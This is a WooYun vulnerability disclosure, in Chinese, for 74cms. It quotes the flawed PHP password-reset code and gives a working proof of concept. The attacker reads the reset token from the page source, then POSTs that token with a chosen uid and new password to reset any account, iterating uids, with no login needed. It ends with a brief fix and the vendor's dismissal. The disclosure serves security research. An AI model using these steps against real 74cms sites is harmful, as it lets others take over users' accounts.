当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137785

漏洞标题:74cms最新版重置任意账号密码

相关厂商:74c,s.com

漏洞作者: hello

提交时间:2015-08-31 10:54

修复时间:2015-12-04 10:56

公开时间:2015-12-04 10:56

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-09-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-10-30: 细节向核心白帽子及相关领域专家公开
2015-11-09: 细节向普通白帽子公开
2015-11-19: 细节向实习白帽子公开
2015-12-04: 细节向公众公开

简要描述:

密码重置机制可以绕过,同时可重置任意账号密码
demo测试成功

详细说明:

先看下
\user\user_getpass.php

$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'enter';
$smarty->assign('header_nav',"getpass");
if ($act=='enter')
{
$smarty->assign('title','找回密码 - '.$_CFG['site_name']);
$token=substr(md5(mt_rand(100000, 999999)), 8,16); //生成token
$_SESSION['getpass_token']=$token; //保存到session中
$smarty->assign('token',$token); //通过smarty 显示到前台 我们可以看到
$smarty->display('user/get-pass.htm');
}


我们在看下这个文件下的另一个action

elseif($act == "get_pass_save")
{
global $QS_pwdhash;
if(empty($_POST['token']) || $_POST['token']!=$_SESSION['getpass_token']) //这个值上面可以获得得到 这就绕过了
{
$link[0]['text'] = "重新找回密码";
$link[0]['href'] = "?act=enter";
showmsg("找回密码失败,非正常链接",0,$link);
}
$uid=intval($_POST['uid']);//uid可控 遍历uid可重置任意账号密码
$password=$_POST['password']?trim($_POST['password']):showmsg("请输入密码!",1);
$userinfo=get_user_inid($uid);
if(empty($userinfo))
{
$link[0]['text'] = "重新找回密码";
$link[0]['href'] = "?act=enter";
showmsg("修改密码失败",0,$link);
}
$password_hash=md5(md5($password).$userinfo['pwd_hash'].$QS_pwdhash);
$setsqlarr['password']=$password_hash;
$rst=$db->updatetable(table('members'),$setsqlarr,array("uid"=>$userinfo['uid']));//更改密码
if($rst)
{
header("Location: ?act=get_pass_sucess");
}
else
{
showmsg("设置新密码失败!",1);
}
}


漏洞证明:

漏洞证明
无需登录
先访问

http://demo.74cms.com/user/user_getpass.php


右键查看源代码 看到toke的值

118.png


然后利用这个值访问

http://demo.74cms.com/user/user_getpass.php?act=get_pass_save


POST提交
token=b6a0859f6f64ed41&uid=2&password=333333

119.png


遍历下uid就可以重置任意账号密码为333333

修复方案:

post[id] 改成sessionid

版权声明:转载请注明来源 hello@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-04 10:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无